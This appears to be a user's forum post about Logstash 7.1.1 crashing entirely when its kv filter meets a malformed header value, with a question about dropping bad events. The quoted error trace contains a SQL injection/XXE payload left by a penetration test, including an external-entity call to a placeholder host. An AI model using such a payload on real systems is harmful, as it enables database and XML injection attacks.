Hi,
We are using logstash 7.1.1 in production with multiple pipelines.
In one of our pipelines we use kv filter to convert headers to key value pairs and one of these keys contained an invalid value (invalid value was from a penetration test). Instead of simply terminating this pipeline, logstash crashes.
We read this from kafka so once logstash restarts the same thing happens again.
Exception in pipelineworker, the pipeline stopped processing new events, please check your filter configuration and restart Logstash.
org.logstash.FieldReference$IllegalSyntaxException: Invalid FieldReference: `(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % avglk SYSTEM "http://weirdness">%avglk;]>'),'/l') from dual)`
at org.logstash.FieldReference$StrictTokenizer.tokenize(FieldReference.java:283) ~[logstash-core.jar:?]
at org.logstash.FieldReference.parse(FieldReference.java:184) ~[logstash-core.jar:?]
Questions:
- Is it expected that logstash should crash in this case? That is not acceptable for us, a single test pipeline might be ok but not entire logstash.
- Is it possible to simply drop a message on error? From my understanding this is not possible but I cannot understand why. Since we are dealing with logs we cannot always be 100% certain of the contents.
I understand that we can solve this particular issue so I am not interested in that, that will only work until the next unexpected log arrives, just to be clear 
Regards /Johan